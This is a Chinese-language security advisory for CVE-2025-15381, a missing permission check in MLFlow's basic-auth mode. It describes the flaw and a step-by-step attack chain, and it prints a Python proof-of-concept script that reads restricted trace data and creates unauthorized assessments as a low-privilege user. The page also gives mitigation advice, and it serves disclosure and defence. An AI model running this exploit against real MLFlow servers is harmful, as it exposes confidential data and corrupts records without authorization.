IPBUF安全漏洞报告
English
CVE-2025-15381 CVSS 7.1 高危

CVE-2025-15381 MLFlow权限校验缺失漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2025-15381
漏洞类型
权限校验缺失
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MLFlow

相关标签

权限校验缺失MLFlow访问控制绕过CVE-2025-15381

漏洞概述

MLFlow在启用basic-auth应用时存在权限校验缺失漏洞。当启用该功能时,tracing和assessment端点未受权限验证器保护。这使得任何已认证的用户,即使是对实验没有权限的用户,也能读取trace信息并创建未授权的评估。该漏洞影响了数据的机密性和完整性,仅影响使用`mlflow server --app-name=basic-auth`部署的环境。

技术细节

该漏洞的核心成因在于MLFlow在集成basic-auth应用时,对特定API端点的权限控制逻辑存在疏漏。虽然系统实施了基本身份认证机制,但在处理Tracing(追踪)和Assessment(评估)功能相关的API请求时,开发人员未正确应用权限验证器。这导致系统仅验证了请求者的身份(是否登录),而未验证其对特定实验资源的访问权限(RBAC)。攻击者利用这一逻辑缺陷,只需注册或获取一个普通账号,即可通过构造特定的HTTP请求,绕过权限检查直接调用受保护的内部接口。利用过程中,攻击者可以读取本应受限的Trace数据,造成敏感信息泄露;同时,攻击者还可以向系统注入伪造的评估数据,破坏业务数据的完整性和可信度。由于无需用户交互且利用条件简单,该漏洞具有较高的实用风险。

攻击链分析

STEP 1
侦察
攻击者识别出目标启用了MLFlow并配置了basic-auth功能。
STEP 2
获取凭证
攻击者注册或获取一个有效的低权限账号(拥有NO_PERMISSIONS)。
STEP 3
认证
使用低权限账号登录系统,获取有效的Session或Token。
STEP 4
权限绕过与数据读取
攻击者直接向Tracing端点发送请求,由于缺少权限验证器,系统返回本应受限的Trace元数据。
STEP 5
破坏数据完整性
攻击者向Assessment端点发送POST请求,创建未授权的评估记录。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests TARGET_URL = "http://target-mlflow-server:5000" USERNAME = "low_priv_user" PASSWORD = "password" session = requests.Session() # 1. Authenticate with low-privilege user login_payload = {"username": USERNAME, "password": PASSWORD} login_resp = session.post(f"{TARGET_URL}/login", data=login_payload) if login_resp.status_code != 200: print("Login failed") exit(1) print("[+] Logged in successfully") # 2. Exploit: Access Tracing Endpoint (Bypass Permission Check) # Assuming a trace_id exists that the user should not have access to trace_id = "arbitrary_trace_id" trace_resp = session.get(f"{TARGET_URL}/api/2.0/mlflow/traces/get?trace_id={trace_id}") print(f"[*] Attempting to access trace data...") if trace_resp.status_code == 200: print(f"[+] Successfully accessed trace data (Bypassed ACL): {trace_resp.json()}") else: print(f"[-] Failed to access trace data: {trace_resp.status_code}") # 3. Exploit: Create Unauthorized Assessment assessment_data = { "trace_id": trace_id, "name": "Malicious Assessment", "result": {"key": "value"} } assess_resp = session.post(f"{TARGET_URL}/api/2.0/mlflow/assessments/create", json=assessment_data) print(f"[*] Attempting to create assessment...") if assess_resp.status_code == 200: print(f"[+] Successfully created unauthorized assessment.") else: print(f"[-] Failed to create assessment: {assess_resp.status_code}")

影响范围

MLFlow Latest Version (basic-auth enabled)

防御指南

临时缓解措施
建议管理员检查MLFlow配置,如果使用了`--app-name=basic-auth`,建议暂时禁用该功能或回退到未受影响的版本,并密切关注官方补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表